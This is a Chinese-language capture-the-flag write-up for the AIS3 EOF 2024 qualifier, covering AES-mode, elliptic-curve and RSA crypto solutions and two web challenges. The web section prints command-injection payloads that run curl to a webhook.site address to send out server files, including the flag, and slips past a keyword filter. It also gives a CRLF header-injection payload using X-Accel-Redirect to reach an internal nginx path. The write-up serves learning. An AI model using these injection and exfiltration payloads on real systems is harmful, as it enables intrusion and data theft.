AIS3 EOF QUAL 2024 Write Up

AIS3 EOF QUAL 2024 Write Up

Before all

User Name: Whale120
Rank:61

中間排名飄來飄去的著實可怕,不過這場比賽的題目都好有趣www。

我總共解了兩題Web三題Crypto,整個戰鬥力到第三天就下滑,只想到了Baby RSA的unintended解,還有很多要學,加油owob。

Write Up

MISC

Welcome

咦,DC Announcement就有ㄌXD

1
2
AIS3 EOF 2024 Qualification Start!!!
Welcome Flag: AIS3{W3lc0mE_T0_A1S5s_EOF_2o24}

CRYPTO

Baby AES

AES.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from secret import FLAG
from os import urandom
from base64 import b64encode, b64decode

def XOR (a, b):
return l2b(b2l(a) ^ b2l(b)).rjust(len(a), b"\x00")

def counter_add(iv):
return l2b(b2l(iv) + 1).rjust(16, b"\x00")

# These modes of Block Cipher are just like Stream Cipher. Do you know them?
AES_enc = AES.new(urandom(16), AES.MODE_ECB).encrypt
def AES_CFB (iv, pt):
ct = b""
for i in range(0, len(pt), 16):
_ct = XOR(AES_enc(iv), pt[i : i + 16])
iv = _ct
ct += _ct
return ct

def AES_OFB (iv, pt):
ct = b""
for i in range(0, len(pt), 16):
iv = AES_enc(iv)
ct += XOR(iv, pt[i : i + 16])
return ct

def AES_CTR (iv, pt):
ct = b""
for i in range(0, len(pt), 16):
ct += XOR(AES_enc(iv), pt[i : i + 16])
iv = counter_add(iv)
return ct

if __name__ == "__main__":
counter = urandom(16)
c1 = urandom(32)
c2 = urandom(32)
c3 = XOR(XOR(c1, c2), FLAG)
print( f"c1_CFB: ({b64encode(counter)}, {b64encode(AES_CFB(counter, c1))})" )
counter = counter_add(counter)
print( f"c2_OFB: ({b64encode(counter)}, {b64encode(AES_OFB(counter, c2))})" )
counter = counter_add(counter)
print( f"c3_CTR: ({b64encode(counter)}, {b64encode(AES_CTR(counter, c3))})" )

for _ in range(5):
try:
counter = counter_add(counter)
mode = input("What operation mode do you want for encryption? ")
pt = b64decode(input("What message do you want to encrypt (in base64)? "))
pt = pt.ljust( ((len(pt) - 1) // 16 + 1) * 16, b"\x00")
if mode == "CFB":
print( b64encode(counter), b64encode(AES_CFB(counter, pt)) )
elif mode == "OFB":
print( b64encode(counter), b64encode(AES_OFB(counter, pt)) )
elif mode == "CTR":
print( b64encode(counter), b64encode(AES_CTR(counter, pt)) )
else:
print("Sorry, I don't understand.")
except:
print("??")
exit()

題目會讓你nc上server,然後在提供counter的情況下給你c1, c2, c3分別用CFB, OFB, CTR模式加密的密文,最後允許你操作加密五次。
看到這裡,我的思路就變成:怎麼利用它給的東西將處理c1, c2, c3時被加密的counter value算出來。
這邊將初始counter定義為ct0,接著依序為ct1, ct2……
觀察OFB, CFB, CTR模式可以得到:
解開c1所需要的參數為ECB加密後的ct0 value加上第一次回傳的被加密值前十六byte用ECB加密後的結果
解開c2所需要的參數為ECB加密後的ct1 value以及用ECB加密兩次後的ct1 value
解開c3所需要的參數為ECB加密後的ct2ct3
接著只需要利用CTR直接獲取與CFB bit flipping拿加密後的counter value即可。
p.s.我是直接nc上後用python手打所以沒有script :D
Solution:

1
2
3
4
5
(1)CTR:b'\x00'*80 -> 獲得 ct3 ~ ct7加密後的值,稱為ENC(ct3), ENC(ct4)......
(2)CFB:ENC(ct4)^ct1+b'\x00'*32 -> 獲得ct1+ENC(ct1)+ENC(ENC(ct1))
(3)CFB:ENC(ct5)^ct2+b'\x00'*16 -> 獲得 ct2+ENC(ct2)
(4)CFB:ENC(ct6)^ct0+b'\x00'*16 -> 獲得 ct0+ENC(ct0)
(5)CFB:ENC(ct7)^c0加密後的前16bytes+b'\x00'*16 -> c0加密後的前16bytes + ENC(c0加密後的前16bytes)

最後各種xor算回去就好了~

EOF2023QUAL-AES

Baby ECDLP

chall.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from sage.all import *
from Crypto.Util.number import *
from secret import p, q, flag

assert isPrime(p) and isPrime(q)
n = p * q
a, b = matrix(ZZ, [[p, 1], [q, 1]]).solve_right(
vector([p**2 - p**3, q**2 - q**3])
)
E = EllipticCurve(Zmod(n), [a, b])
G = E(p, p) + E(q, q)
C = bytes_to_long(flag) * G

print(f"{a = }")
print(f"{b = }")
print(f"C =", C.xy())

output.txt

1
2
3
a = -1049512290645561483277399447040672259507710914145558231422452159145941450861058912834056552784840698307176425328594627265181382568207073595223799102540059103656850409121714215271402071402990265653829990643814289333297114436290307127182601793045470624406368512814269833830187545236393724608995894644699923989
b = 330613225413866308562655832653992432640737790102976283577689980446254238304479688134993945656361409867735093176372274589048066502491030816811279723518019832240148759433890104257541015694288688653084062998961288644429744942281764740765767448933787468732728303440425139427370295303413074746846731173227818565326124721081874768870022303341674817123171380954083010086565749443463586594318218908360567200188035652004143989131725183710453256926775457844063169319469
C = (267111004965766851197295766324872918045366663010386225569683352174816889947153426038920564765985480495027226192426180920889404710714177330839745847098719253913784748674975923941362014119630482337688147428774108074983765342590544406095084448586154162465772821665560547734890209137946668822330843444608421730, 121650402415930828032211963598144915558171373162163617470672182014503810780161804477407976153593724606514937006081912867636117646613415693478218365932212102557909492288758305287088882502760464160705341780505639501694329242419144215441270993917308948949819834611451749926628000691771375822508363489298910865)

首先,利用給定的a和b算p和q
直接z3XD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>>> from z3 import *
>>> s=Solver()
>>> x, y=Ints("x, y")
>>> s.add(x>0)
>>> s.add(y>0)
>>> s.add(x!=y)
>>> a = -1049512290645561483277399447040672259507710914145558231422452159145941450861058912834056552784840698307176425328594627265181382568207073595223799102540059103656850409121714215271402071402990265653829990643814289333297114436290307127182601793045470624406368512814269833830187545236393724608995894644699923989
>>> b = 330613225413866308562655832653992432640737790102976283577689980446254238304479688134993945656361409867735093176372274589048066502491030816811279723518019832240148759433890104257541015694288688653084062998961288644429744942281764740765767448933787468732728303440425139427370295303413074746846731173227818565326124721081874768870022303341674817123171380954083010086565749443463586594318218908360567200188035652004143989131725183710453256926775457844063169319469
>>> s.add(x**2-x**3-a*x==b)
>>> s.add(y**2-y**3-a*y==b)
>>> s.check()
sat
>>> s.model()
[x, = 796516347571618382842409566670391818297833481271542059034954968631944200751696685241692453026124019466008822177825139658601579493035399097176001286756611,
y = 359160846099444348290305694779134753321907709661985769865266028792407078112888527565129439985352509538424954784005539823019894001632619107445650921758147]

好啦,有p和q之後,可以算出G並拆order分別算它們的DLP:
(以q為例,p一樣)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sage: a=-104951229064556148327739944704067225950771091414555823142245215914591450861058912834056552784840698307176425328594627265181382568207073595237991025400591036568504091217142152714020714029902656538299906438142893329711443629030712718260179304547062440636851281426983383018754523639374608995894644699923989
sage: b=330613225413866308562655832653992432640737790102976283577689980446254383044796881349939456563614098677350931763722745890480665024910308168117972351801983224014875943389010425754101569428868865308406299896128864429744942281764740765767448933787468732728303440425139427370295303413074468467311732278185653261247210818747688700223033416748171231713809540831008656574944346358659431821890836056720018803565200414398913172518371053256926775457844063169319469
sage: q=359160846099444348290305694779134753321907709661985769865266028792407078112888527565129439985352509538424954784005539823019894001632619107445650921758147
sage: E = EllipticCurve(GF(q), [a, b])
sage: G=E(28607748532586155305766590971512659203413099194155217832119487667929904063769085772752568246866731921408737399300889149334418551010959577073796486388937480663378183502384364325599822278159619696537650011902619010103876865119734678532259458237178383683768508566703123494722154129671015135020887186845060 , 11556771936710627311327152614495265716197411903352782890022099742435127886458521280682189301147652900443377696183067981621473494668018204621652208514757)
sage: C=E(26711100496576685119729576632487291804536666301038622556968335217486889947153426038920564765985480495027226192426180920889404710714177330897458470987192539137847486749759239413620141196304823376881474287741080498376534259054440609508444858615416246577282166556054773489020913794668822330843444608421730, 12165040241593082803221196359814491555817137316163617470672182014503810780161804477407976153593724606514937006081912866361176466134156934782183659322121025579094922887583052870888825027604616070534178050563950169432924241914421544127099391730894894981983461145749926628000691771375822508363489298910865)
sage: factors, exponents = zip(*factor(E.order()))
....: primes = [factors[i] ^ exponents[i] for i in range(len(factors))]
....: dlogs = []
....: for fac in primes:
....: t = int(G.order()) // int(fac)
....: dlog = discrete_log(t*C,t*G,operation="+")
....: dlogs += [dlog]
....: print("factor: "+str(fac)+", Discrete Log: "+str(dlog)) #calculates discrete logarithm for each prime order
....:
....: l = crt(dlogs,primes)
....: print(l)

拿到p和q分別的order後就是crt去計算即可:

1
2
3
4
sage: crt([lp, lq], [ordp, ordq])
57366797191231613035327741961845991344248661489459273665787893494679511245498164076089068791122584458195315239399543984814150684970509045350166875864014581887869
print(long_to_bytes(57366797191231613035327741961845991344248661489459273665787893494679511245498164076089068791122584458195315239399543984814150684970509045350166875864014581887869))
#AIS3{3aSY_1Nte9eR_F4C7Or1zAt10N_4nD_@N_INtR0DucI70N_T0_MoV_aTt@CKs}

Baby RSA

RSA.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#! /usr/bin/python3
from Crypto.Util.number import bytes_to_long, long_to_bytes, getPrime
import os
from secret import FLAG
def encrypt(m, e, n):
enc = pow(bytes_to_long(m), e, n)
return enc

def decrypt(c, d, n):
dec = pow(c, d, n)
return long_to_bytes(dec)


if __name__ == "__main__":
while True:
p = getPrime(1024)
q = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
e = 3
if phi % e != 0 :
d = pow(e, -1, phi)
break
print(f"{n=}, {e=}")
print("FLAG: ", encrypt(FLAG, e, n))
for _ in range(3):
try:
c = int(input("Any message for me?"))
m = decrypt(c, d, n)
print("How beautiful the message is, it makes me want to destroy it .w.")
rah=bytes_to_long(os.urandom(8))#added my self
print(f"{rah=}")#added my self
new_m = long_to_bytes(bytes_to_long(m) ^ rah)
print( "New Message: ", encrypt(new_m, e, n) )
except:
print("?")
exit()

Broadcast Attack
非常好笑,因為e太小所以XOR的部分根本不用理會,直接nc三次後CRT就好w
我本來一直卡在xor到底要幹嘛,直到我在手動逆向一坨噁心的扣時才想到我可以分三次連然後偷訊息(

image

WEB

DNS Lookup Tool: Final

source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
isset($_GET['source']) and die(show_source(__FILE__, true));
?>

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>DNS Lookup Tool | Final</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.3/css/bulma.min.css">
</head>

<body>
<section class="section">
<div class="container">
<div class="column is-6 is-offset-3 has-text-centered">
<div class="box">
<h1 class="title">DNS Lookup Tool 🔍 | Final Edition</h1>
<form method="POST">
<div class="field">
<div class="control">
<input class="input" type="text" name="name" placeholder="example.com" id="hostname" value="<?= $_POST['name'] ?? '' ?>">
</div>
</div>
<button class="button is-block is-info is-fullwidth">
Lookup!
</button>
</form>
<br>
<?php if (isset($_POST['name'])) : ?>
<section class="has-text-left">
<p>Lookup result:</p>
<b>
<?php
$blacklist = ['|', '&', ';', '>', '<', "\n", 'flag', '*', '?'];
$is_input_safe = true;
foreach ($blacklist as $bad_word)
if (strstr($_POST['name'], $bad_word) !== false) $is_input_safe = false;

if ($is_input_safe) {
$retcode = 0;
$output = [];
exec("host {$_POST['name']}", $output, $retcode);
if ($retcode === 0) {
echo "Host {$_POST['name']} is valid!\n";
} else {
echo "Host {$_POST['name']} is invalid!\n";
}
}
else echo "HACKER!!!";
?>
</b>
</section>
<?php endif; ?>
<hr>
<a href="/?source">Source Code</a>
</div>
</div>
</div>
</section>
</body>

</html>

第一眼就是Command Injection攻擊。
仔細觀察filter,發現它沒有過濾以下四種字元

1
` $ ()

於是就可以用他們構造payload,網站沒有輸出command結果的解決方法就是webhook
Payload

1
`curl 	'https://webhook.site/df59d79f-07f6-49e3-899c-e8aa36a4bebe/'$(find / -maxdepth 1 -size +10c -size -50c -type f)`

ㄟ…過濾了字串flag,那就在中間塞引號吧 :D

1
`curl 	'https://webhook.site/df59d79f-07f6-49e3-899c-e8aa36a4bebe/'$(cat fl''ag_b2hKhYYVuLOKwi8j)`

AIS3{jUsT_3aSY_coMm4ND_InJ3c710N}

Internal

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import re, os


if os.path.exists("/flag"):
with open("/flag") as f:
FLAG = f.read().strip()
else:
FLAG = os.environ.get("FLAG", "flag{this_is_a_fake_flag}")
URL_REGEX = re.compile(r"https?://[a-zA-Z0-9.]+(/[a-zA-Z0-9./?#]*)?")


class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/flag":
self.send_response(200)
self.end_headers()
self.wfile.write(FLAG.encode())
return
query = parse_qs(urlparse(self.path).query)
redir = None
if "redir" in query:
redir = query["redir"][0]
if not URL_REGEX.match(redir):
redir = None
self.send_response(302 if redir else 200)
if redir:
self.send_header("Location", redir)
self.end_headers()
self.wfile.write(b"Hello world!")


if __name__ == "__main__":
server = ThreadingHTTPServer(("", 7777), RequestHandler)
server.allow_reuse_address = True
print("Starting server, use <Ctrl-C> to stop")
server.serve_forever()

default.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
server {
listen 7778;
listen [::]:7778;
server_name localhost;

location /flag {
internal;
proxy_pass http://web:7777;
}

location / {
proxy_pass http://web:7777;
}
}

就是要去訪問/flag的路徑,然而嘗試一下就會吃上404 request,原因就出在default.conf限制了只有internal使用者可以造訪。
然後我就卡在這很久了:D。
直到我注意到redir的GET參數是直接換header:

1
self.send_header("Location", redir)

ㄟ,記得在Port Swigger有玩過塞%0d%0a換行偽造server side header這招。
測試一下,發現可以:
Payload:/?redir=https://example.com%0d%0aRAH:WHALE120

螢幕擷取畫面 2024-01-06 202614
上網爬文一下發現了這個nginx trick:
https://github.com/dreadlocked/ctf-writeups/blob/master/midnightsun-ctf/bigspin.md
X-Accel-Redirect: 的header會直接被解析成從內部訪問後面接的路徑,嘿,搭配剛剛的換行可以直接偽造從內部讀取flag的假象。
Payload:/?redir=https://example.com%0d%0aX-Accel-Redirect:/flag

螢幕擷取畫面 2024-01-06 202700

成功!!!

After all

賽後看到大家陸續公布自己解法,發現好多東西其實賽中應該想到,筆記筆記www
期待決賽!!!

image